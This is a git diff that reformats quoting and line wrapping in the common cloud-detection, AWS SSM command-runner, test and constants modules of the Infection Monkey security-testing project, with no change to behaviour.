INSTANCE_ID_RESPONSE, - 'region': 'in-a-different-world', - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": "in-a-different-world", + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } + ) def test_is_instance_bad_region_data(bad_region_data_mock_instance): @@ -125,9 +131,13 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance): # 'account_id' bad data @pytest.fixture def bad_account_id_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': 'who-am-i'}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": "who-am-i", + } + ) def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance): @@ -153,35 +163,37 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan # 'instance_id' bad requests @pytest.fixture def bad_instance_id_request_mock_instance(instance_id_exception): - return get_test_aws_instance(text={'instance_id': None, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, - exception={'instance_id': instance_id_exception, - 'region': None, - 'account_id': None}) + return get_test_aws_instance( + text={ + "instance_id": None, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": instance_id_exception, "region": None, "account_id": None}, + ) -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.is_instance() is False -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_instance_id() is None -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_region() is None -@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("instance_id_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance): assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID @@ -189,35 +201,37 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins # 'region' bad requests @pytest.fixture def bad_region_request_mock_instance(region_exception): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': None, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, - exception={'instance_id': None, - 'region': region_exception, - 'account_id': None}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": None, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": None, "region": region_exception, "account_id": None}, + ) -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_is_instance_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.is_instance() -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_region_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_region() is None -@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("region_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_region_request(bad_region_request_mock_instance): assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID @@ -225,35 +239,37 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance): # 'account_id' bad requests @pytest.fixture def bad_account_id_request_mock_instance(account_id_exception): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': None}, - exception={'instance_id': None, - 'region': None, - 'account_id': account_id_exception}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": None, + }, + exception={"instance_id": None, "region": None, "account_id": account_id_exception}, + ) -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.is_instance() -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION -@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +@pytest.mark.parametrize("account_id_exception", [requests.RequestException, IOError]) def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance): assert bad_account_id_request_mock_instance.get_account_id() is None @@ -263,15 +279,15 @@ def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_insta def not_found_request_mock_instance(): with requests_mock.Mocker() as m: # request made to get instance_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" m.get(url, status_code=404) # request made to get region - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone" m.get(url) # request made to get account_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" m.get(url) not_found_aws_instance_object = AwsInstance() diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/common/cloud/aws/test_aws_service.py index 9e3f342b2e3..8b17d707dc3 100644 --- a/monkey/common/cloud/aws/test_aws_service.py +++ b/monkey/common/cloud/aws/test_aws_service.py @@ -3,7 +3,7 @@ from .aws_service import filter_instance_data_from_aws_response -__author__ = 'shay.nehmad' +__author__ = "shay.nehmad" class TestFilterInstanceDataFromAwsResponse(TestCase): @@ -49,10 +49,10 @@ def test_filter_instance_data_from_aws_response(self): } """ - self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), []) + self.assertEqual( + filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] + ) self.assertEqual( filter_instance_data_from_aws_response(json.loads(json_response_full)), - [{'instance_id': 'string', - 'ip_address': 'string', - 'name': 'string', - 'os': 'string'}]) + [{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}], + ) diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 969e4a8ca31..186ce3c9d75 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -8,7 +8,9 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" -AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION +AZURE_METADATA_SERVICE_URL = ( + "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION +) logger = logging.getLogger(__name__) @@ -18,6 +20,7 @@ class AzureInstance(CloudInstance): Access to useful information about the current machine if it's an Azure VM. Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ + def is_instance(self): return self._on_azure @@ -34,9 +37,11 @@ def __init__(self): self._on_azure = False try: - response = requests.get(AZURE_METADATA_SERVICE_URL, - headers={"Metadata": "true"}, - timeout=SHORT_REQUEST_TIMEOUT) + response = requests.get( + AZURE_METADATA_SERVICE_URL, + headers={"Metadata": "true"}, + timeout=SHORT_REQUEST_TIMEOUT, + ) # If not on cloud, the metadata URL is non-routable and the connection will fail. # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. @@ -46,7 +51,9 @@ def __init__(self): else: logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: - logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") + logger.debug( + "Failed to get response from Azure metadata service: This instance is not on Azure." + ) def try_parse_response(self, response): try: diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py index 680af90ed9d..7c5770446f4 100644 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -3,84 +3,104 @@ import requests_mock import simplejson -from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL, - AzureInstance) +from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureInstance from common.cloud.environment_names import Environment GOOD_DATA = { - 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD', - 'isHostCompatibilityLayerVm': 'true', - 'licenseType': 'Windows_Client', - 'location': 'westus', - 'name': 'examplevmname', - 'offer': 'Windows', - 'osProfile': {'adminUsername': 'admin', - 'computerName': 'examplevmname', - 'disablePasswordAuthentication': 'true'}, - 'osType': 'linux', - 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a', - 'plan': {'name': 'planName', - 'product': 'planProduct', - 'publisher': 'planPublisher'}, - 'platformFaultDomain': '36', - 'platformUpdateDomain': '42', - 'publicKeys': [{'keyData': 'ssh-rsa 0', - 'path': '/home/user/.ssh/authorized_keys0'}, - {'keyData': 'ssh-rsa 1', - 'path': '/home/user/.ssh/authorized_keys1'}], - 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group', - 'resourceGroupName': 'macikgo-test-may-23', - 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/' - 'providers/Microsoft.Compute/virtualMachines/examplevmname', - 'securityProfile': {'secureBootEnabled': 'true', - 'virtualTpmEnabled': 'false'}, - 'sku': 'Windows-Server-2012-R2-Datacenter', - 'storageProfile': {'dataDisks': [{'caching': 'None', - 'createOption': 'Empty', - 'diskSizeGB': '1024', - 'image': {'uri': ''}, - 'lun': '0', - 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' - 'resourceGroups/macikgo-test-may-23/providers/' - 'Microsoft.Compute/disks/exampledatadiskname', - 'storageAccountType': 'Standard_LRS'}, - 'name': 'exampledatadiskname', - 'vhd': {'uri': ''}, - 'writeAcceleratorEnabled': 'false'}], - 'imageReference': {'id': '', - 'offer': 'UbuntuServer', - 'publisher': 'Canonical', - 'sku': '16.04.0-LTS', - 'version': 'latest'}, - 'osDisk': {'caching': 'ReadWrite', - 'createOption': 'FromImage', - 'diskSizeGB': '30', - 'diffDiskSettings': {'option': 'Local'}, - 'encryptionSettings': {'enabled': 'false'}, - 'image': {'uri': ''}, - 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' - 'resourceGroups/macikgo-test-may-23/providers/' - 'Microsoft.Compute/disks/exampleosdiskname', - 'storageAccountType': 'Standard_LRS'}, - 'name': 'exampleosdiskname', - 'osType': 'Linux', - 'vhd': {'uri': ''}, - 'writeAcceleratorEnabled': 'false'}}, - 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx', - 'tags': 'baz:bash;foo:bar', - 'version': '15.05.22', - 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6', - 'vmScaleSetName': 'crpteste9vflji9', - 'vmSize': 'Standard_A3', - 'zone': ''}, - 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132', - 'publicIpAddress': ''}], - 'subnet': [{'address': '10.144.133.128', - 'prefix': '26'}]}, - 'ipv6': {'ipAddress': []}, - 'macAddress': '0011AAFFBB22'}]} - } + "compute": { + "azEnvironment": "AZUREPUBLICCLOUD", + "isHostCompatibilityLayerVm": "true", + "licenseType": "Windows_Client", + "location": "westus", + "name": "examplevmname", + "offer": "Windows", + "osProfile": { + "adminUsername": "admin", + "computerName": "examplevmname", + "disablePasswordAuthentication": "true", + }, + "osType": "linux", + "placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a", + "plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"}, + "platformFaultDomain": "36", + "platformUpdateDomain": "42", + "publicKeys": [ + {"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"}, + {"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"}, + ], + "publisher": "RDFE-Test-Microsoft-Windows-Server-Group", + "resourceGroupName": "macikgo-test-may-23", + "resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/" + "providers/Microsoft.Compute/virtualMachines/examplevmname", + "securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"}, + "sku": "Windows-Server-2012-R2-Datacenter", + "storageProfile": { + "dataDisks": [ + { + "caching": "None", + "createOption": "Empty", + "diskSizeGB": "1024", + "image": {"uri": ""}, + "lun": "0", + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampledatadiskname", + "storageAccountType": "Standard_LRS", + }, + "name": "exampledatadiskname", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", + } + ], + "imageReference": { + "id": "", + "offer": "UbuntuServer", + "publisher": "Canonical", + "sku": "16.04.0-LTS", + "version": "latest", + }, + "osDisk": { + "caching": "ReadWrite", + "createOption": "FromImage", + "diskSizeGB": "30", + "diffDiskSettings": {"option": "Local"}, + "encryptionSettings": {"enabled": "false"}, + "image": {"uri": ""}, + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampleosdiskname", + "storageAccountType": "Standard_LRS", + }, + "name": "exampleosdiskname", + "osType": "Linux", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", + }, + }, + "subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", + "tags": "baz:bash;foo:bar", + "version": "15.05.22", + "vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6", + "vmScaleSetName": "crpteste9vflji9", + "vmSize": "Standard_A3", + "zone": "", + }, + "network": { + "interface": [ + { + "ipv4": { + "ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}], + "subnet": [{"address": "10.144.133.128", "prefix": "26"}], + }, + "ipv6": {"ipAddress": []}, + "macAddress": "0011AAFFBB22", + } + ] + }, +} BAD_DATA_NOT_JSON = '\nvar pageName = \'/\';\ntop.location.replace(pageName);\n\n\n \n\n' -BAD_DATA_JSON = {'': ''} +BAD_DATA_JSON = {"": ""} def get_test_azure_instance(url, **kwargs): @@ -114,9 +134,9 @@ def test_get_cloud_provider_name_good_data(good_data_mock_instance): def test_try_parse_response_good_data(good_data_mock_instance): - assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name'] - assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId'] - assert good_data_mock_instance.location == GOOD_DATA['compute']['location'] + assert good_data_mock_instance.instance_name == GOOD_DATA["compute"]["name"] + assert good_data_mock_instance.instance_id == GOOD_DATA["compute"]["vmId"] + assert good_data_mock_instance.location == GOOD_DATA["compute"]["location"] # good request, bad data (json) diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index 6c14500dba2..14e4e554a9a 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -16,6 +16,7 @@ class GcpInstance(CloudInstance): """ Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce """ + def is_instance(self): return self._on_gcp @@ -37,9 +38,17 @@ def __init__(self): logger.warning("Got unexpected GCP Metadata format") else: if not response.headers["Metadata-Flavor"] == "Google": - logger.warning("Got unexpected Metadata flavor: {}".format(response.headers["Metadata-Flavor"])) + logger.warning( + "Got unexpected Metadata flavor: {}".format( + response.headers["Metadata-Flavor"] + ) + ) else: - logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) + logger.warning( + "On GCP, but metadata response not ok: {}".format(response.status_code) + ) except requests.RequestException: - logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") + logger.debug( + "Failed to get response from GCP metadata service: This instance is not on GCP" + ) self._on_gcp = False diff --git a/monkey/common/cloud/instance.py b/monkey/common/cloud/instance.py index abe0c7910d1..f0da19359f5 100644 --- a/monkey/common/cloud/instance.py +++ b/monkey/common/cloud/instance.py @@ -7,6 +7,7 @@ class CloudInstance(object): The current machine can be a cloud instance (for example EC2 instance or Azure VM). """ + def is_instance(self) -> bool: raise NotImplementedError() diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py index 4db862a4a2d..091b511144e 100644 --- a/monkey/common/cloud/scoutsuite_consts.py +++ b/monkey/common/cloud/scoutsuite_consts.py @@ -2,8 +2,8 @@ class CloudProviders(Enum): - AWS = 'aws' - AZURE = 'azure' - GCP = 'gcp' - ALIBABA = 'aliyun' - ORACLE = 'oci' + AWS = "aws" + AZURE = "azure" + GCP = "gcp" + ALIBABA = "aliyun" + ORACLE = "oci" diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index 3499f8d14a5..1e89115ef3a 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -1,6 +1,6 @@ from common.cmd.cmd_result import CmdResult -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class AwsCmdResult(CmdResult): @@ -10,8 +10,11 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'], - command_info['StandardErrorContent']) + self.is_successful(command_info, True), + command_info["ResponseCode"], + command_info["StandardOutputContent"], + command_info["StandardErrorContent"], + ) self.command_info = command_info @staticmethod @@ -22,4 +25,6 @@ def is_successful(command_info, is_timeout=False): :param is_timeout: Whether the given command timed out :return: True if successful, False otherwise. """ - return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress')) + return (command_info["Status"] == "Success") or ( + is_timeout and (command_info["Status"] == "InProgress") + ) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index 1ab680c4dac..1ccdd104b0a 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -5,7 +5,7 @@ from common.cmd.cmd_runner import CmdRunner from common.cmd.cmd_status import CmdStatus -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" logger = logging.getLogger(__name__) @@ -19,7 +19,7 @@ def __init__(self, is_linux, instance_id, region=None): super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region - self.ssm = AwsService.get_client('ssm', region) + self.ssm = AwsService.get_client("ssm", region) def query_command(self, command_id): return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) @@ -28,15 +28,18 @@ def get_command_result(self, command_info): return AwsCmdResult(command_info) def get_command_status(self, command_info): - if command_info['Status'] == 'InProgress': + if command_info["Status"] == "InProgress": return CmdStatus.IN_PROGRESS - elif command_info['Status'] == 'Success': + elif command_info["Status"] == "Success": return CmdStatus.SUCCESS else: return CmdStatus.FAILURE def run_command_async(self, command_line): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" - command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]}, - InstanceIds=[self.instance_id]) - return command_res['Command']['CommandId'] + command_res = self.ssm.send_command( + DocumentName=doc_name, + Parameters={"commands": [command_line]}, + InstanceIds=[self.instance_id], + ) + return command_res["Command"]["CommandId"] diff --git a/monkey/common/cmd/cmd.py b/monkey/common/cmd/cmd.py index 8cb2177a206..a1894eb54b6 100644 --- a/monkey/common/cmd/cmd.py +++ b/monkey/common/cmd/cmd.py @@ -1,4 +1,4 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class Cmd(object): diff --git a/monkey/common/cmd/cmd_result.py b/monkey/common/cmd/cmd_result.py index d3039736f8e..6d2a4621d47 100644 --- a/monkey/common/cmd/cmd_result.py +++ b/monkey/common/cmd/cmd_result.py @@ -1,4 +1,4 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class CmdResult(object): diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index 5cc40ca242c..57966d0b58c 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -6,7 +6,7 @@ from common.cmd.cmd_result import CmdResult from common.cmd.cmd_status import CmdStatus -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" logger = logging.getLogger(__name__) @@ -64,7 +64,7 @@ def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res): command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys())) for command, result in command_result_pairs: instance = command_instance_dict[command] - instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) + instance_results[instance["instance_id"]] = inst_n_cmd_res_to_res(instance, result) return instance_results @@ -91,7 +91,9 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): results = [] while (curr_time - init_time < timeout) and (len(commands) != 0): - for command in list(commands): # list(commands) clones the list. We do so because we remove items inside + for command in list( + commands + ): # list(commands) clones the list. We do so because we remove items inside CmdRunner._process_command(command, commands, results, True) time.sleep(CmdRunner.WAIT_SLEEP_TIME) @@ -102,8 +104,11 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): for command, result in results: if not result.is_success: - logger.error('The following command failed: `%s`. status code: %s', - str(command[1]), str(result.status_code)) + logger.error( + "The following command failed: `%s`. status code: %s", + str(command[1]), + str(result.status_code), + ) return results @@ -148,11 +153,13 @@ def _process_command(command, commands, results, should_process_only_finished): c_id = command.cmd_id try: command_info = c_runner.query_command(c_id) - if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS: + if (not should_process_only_finished) or c_runner.get_command_status( + command_info + ) != CmdStatus.IN_PROGRESS: commands.remove(command) results.append((command, c_runner.get_command_result(command_info))) except Exception: - logger.exception('Exception while querying command: `%s`', str(c_id)) + logger.exception("Exception while querying command: `%s`", str(c_id)) if not should_process_only_finished: commands.remove(command) results.append((command, CmdResult(False))) diff --git a/monkey/common/cmd/cmd_status.py b/monkey/common/cmd/cmd_status.py index 2fc9cc16876..a4e43523908 100644 --- a/monkey/common/cmd/cmd_status.py +++ b/monkey/common/cmd/cmd_status.py @@ -1,6 +1,6 @@ from enum import Enum -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class CmdStatus(Enum): diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py index 4fef6b11bb7..91f2892186a 100644 --- a/monkey/common/common_consts/api_url_consts.py +++ b/monkey/common/common_consts/api_url_consts.py @@ -1 +1 @@ -T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download' +T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download" diff --git a/monkey/common/common_consts/network_consts.py b/monkey/common/common_consts/network_consts.py index b194c942137..8966c23d76d 100644 --- a/monkey/common/common_consts/network_consts.py +++ b/monkey/common/common_consts/network_consts.py @@ -1 +1 @@ -ES_SERVICE = 'elastic-search-9200' +ES_SERVICE = "elastic-search-9200" diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 70066d29025..280cfce051d 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -1,10 +1,10 @@ class TelemCategoryEnum: - EXPLOIT = 'exploit' - POST_BREACH = 'post_breach' - SCAN = 'scan' - SCOUTSUITE = 'scoutsuite' - STATE = 'state' - SYSTEM_INFO = 'system_info' - TRACE = 'trace' - TUNNEL = 'tunnel' - ATTACK = 'attack' + EXPLOIT = "exploit" + POST_BREACH = "post_breach" + SCAN = "scan" + SCOUTSUITE = "scoutsuite" + STATE = "state" + SYSTEM_INFO = "system_info" + TRACE = "trace" + TUNNEL = "tunnel" + ATTACK = "attack" diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index e6a6b29c5d3..539bb726562 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -13,7 +13,15 @@ NETWORKS = "Networks" PEOPLE = "People" DATA = "Data" -PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) +PILLARS = ( + DATA, + PEOPLE, + NETWORKS, + DEVICES, + WORKLOADS, + VISIBILITY_ANALYTICS, + AUTOMATION_ORCHESTRATION, +) STATUS_UNEXECUTED = "Unexecuted" STATUS_PASSED = "Passed" @@ -57,7 +65,7 @@ TEST_SCOUTSUITE_SECURE_AUTHENTICATION, TEST_SCOUTSUITE_RESTRICTIVE_POLICIES, TEST_SCOUTSUITE_LOGGING, - TEST_SCOUTSUITE_SERVICE_SECURITY + TEST_SCOUTSUITE_SERVICE_SECURITY, ) PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit" @@ -78,10 +86,10 @@ PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.", PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory " - "Access Control) only.", + "Access Control) only.", PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.", PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.", - PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources." + PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.", } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -92,183 +100,183 @@ TESTS_MAP = { TEST_SEGMENTATION: { TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's " - "running on, that belong to different network segments.", + "running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", - STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs.", }, PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting " - "exploitation.", + "exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, 